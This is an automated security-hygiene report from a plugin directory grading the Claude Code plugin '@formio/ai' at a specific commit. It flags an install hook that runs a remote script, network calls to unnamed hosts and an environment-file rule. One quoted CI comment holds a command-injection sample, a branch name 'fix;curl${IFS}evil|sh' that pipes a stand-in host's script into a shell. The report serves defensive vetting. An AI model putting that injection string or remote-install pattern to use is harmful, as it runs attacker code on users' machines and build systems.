Grades are a hygiene check, not a security guarantee.

Claude Code, Plugin

ai

@formio/ai is what brings Form.io into your agentic coding environment.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit 4c3564e63765.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    package.json, line 18 prepare

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Pass

    No shell or command execution found, and no extra permission was declared.

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    package.json, line 18

    prepare

    .github/workflows/ci.yml, line 54

    # branch named `fix;curl${IFS}evil|sh` would run as a command with the job's

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach api.example.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    packages/mcp-server/src/auth.ts, line 157

    fetch('/callback', {

    packages/mcp-server/src/formio-client.ts, line 211

    return await fetch(url, { ...init, signal, ...(dispatcher ? { dispatcher } : {}) });

    packages/skill-tests/src/formio-form/external-data.test.ts, line 32

    const response = await fetch('https://api.example.com/profile/42');

    Show more

    plugin/server/auth.js, line 129

    fetch('/callback', {

    plugin/server/formio-client.js, line 132

    return await fetch(url, { ...init, signal, ...(dispatcher ? { dispatcher } : {}) });

    plugin/skills/formio-form/references/external-data.md, line 45

    const response = await fetch('https://api.<your-domain>/profile/42');

    plugin/skills/formio-sdk/references/files.md, line 110

    return fetch('/api/upload', { method: 'POST', body: file })

    plugin/skills/formio-sdk/references/files.md, line 125

    return fetch(`/api/upload/${fileInfo.name}`, { method: 'DELETE' }).then(() => undefined);

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_PATH_DOTENV

    .github/copilot-instructions.md, line 3

    Do not read, reference, or include content from any `.env` files (except `.env.example`). These files contain secrets and must never appear in suggestions, completions, or chat res

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    the file cap was reached before every file was read.

    OBFUSCATION_FILE_CAP_REACHED

    openspec/changes/archive/2026-10-13-drift-guards/specs/formio-react-skill/spec.md, line 1

    ## ADDED Requirements

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 4c3564e63765. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach api.example.com. The description does not name that host. reads a credential or environment file. the file cap was reached before every file was read.

Date and source

Date checked:

View source

github.com

Commit graded: 4c3564e63765e9775fc0ab594224024680857a61

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen